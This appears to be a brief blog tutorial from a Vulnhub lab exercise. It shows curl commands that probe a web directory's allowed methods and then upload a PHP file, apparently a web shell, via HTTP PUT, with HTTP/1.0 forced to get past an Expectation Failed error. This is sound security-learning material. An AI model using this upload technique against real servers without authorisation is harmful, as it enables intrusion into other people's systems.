Uploading Files Using cURL

I had to use cURL to upload files while rooting a Vulnhub image yesterday, so I figured I would post a tutorial on how to do it.

First I had to check what methods were allowed in a directory I found:

root@kali:~# curl -v -X OPTIONS http://192.168.1.224/test/

I see that PUT is allowed in this directory, I try to upload the file using cURL. You will see that I get an Expectation Failed message and the file was not uploaded:

root@kali:~# curl -v -T sickos.php –url http://192.168.1.224/test/

This particular server was expecting me to use HTTP version 1.0.  I was able to force cURL to use 1.0 using the -0 option.  So I tried again:

root@kali:~# curl -v -T sickos.php –url http://192.168.1.224/test/ -0

And this time it worked as expected.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s